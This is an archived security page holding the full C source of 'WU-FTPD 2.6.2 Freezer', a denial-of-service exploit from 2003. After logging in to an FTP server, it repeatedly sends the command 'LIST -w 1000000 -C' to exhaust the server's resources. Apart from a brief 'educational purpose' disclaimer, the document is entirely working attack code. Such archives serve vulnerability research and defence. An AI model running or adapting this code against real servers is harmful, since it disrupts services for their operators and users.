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TUCoPS :: Linux :: Apps N-Z :: bt1600.txt

WU-FTPD 2.6.2 Freezer







http://www.rosiello.org

Vulnerabilities Section.





/*

*

*                 http://www.rosiello.org

*                  (c) Rosiello Security

*

* Copyright Rosiello Security 2003

* All Rights reserved.

*

* Tested on Red Hat 9.0

*

* Author: Angelo Rosiello

* Mail  : angelo@rosiello.org

* URL   : http://www.rosiello.org

*

* This software is only for educational purpose.

* Do not use it against machines different from yours.

* Respect law.

*

*/



#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>



void addr_initialize( );

void usage( );



int main( int argc, char **argv )

{

	int i, sd, PORT, loop, error;

	char user[30], password[30], ch;

	struct sockaddr_in server_addr;



        fprintf( stdout, "\n(c) Rosiello Security 2003\n" );

        fprintf( stdout, "http://www.rosiello.org\n" );

        fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );



	if( argc != 6 ) usage( argv[0] );



	if( strlen( argv[3] ) > 20 ) exit( 0 );

	if( strlen( argv[4] ) > 20 ) exit( 0 );



	sprintf( user, "USER %s\n", argv[3] );

	sprintf( password, "PASS %s\n", argv[4] );



	PORT = atoi( argv[2] );

	loop = atoi( argv[5] );



	addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));

	sd = socket( AF_INET, SOCK_STREAM, 0 );



  	error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));

	if( error != 0 )

	{

		perror( "Something wrong with the connection" );

		exit( 0 );

	}



	while ( ch != '\n' )

        {

                recv( sd, &ch, 1, 0);

                printf("%c", ch );

        }



	ch = '\0';



	printf( "Connection executed, now waiting to log in...\n" );



	printf( "%s", user );



	send( sd, user, strlen( user ), 0 );

	while ( ch != '\n' )

	{

		recv( sd, &ch, 1, 0);

		printf("%c", ch );

	}

	printf( "%s", password );



	ch = '\0';



 	send( sd, password, strlen( password ), 0 );

        while ( ch != '\n' )

        {

                recv( sd, &ch, 1, 0);

                printf("%c", ch );

        }



	printf( "Sending the DoS query\n" );

	for( i=0; i<loop; i++ )

	{

		write( sd, "LIST -w 1000000 -C\n", 19 );

	}

	printf( "All done\n" );

	close( sd );

	return 0;

}



void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)

{

     	address -> sin_family = AF_INET;

     	address -> sin_port = htons((u_short)port);

     	address -> sin_addr.s_addr = IPaddr;

}



void usage( char *program )

{

	fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);

  	exit(0);

}


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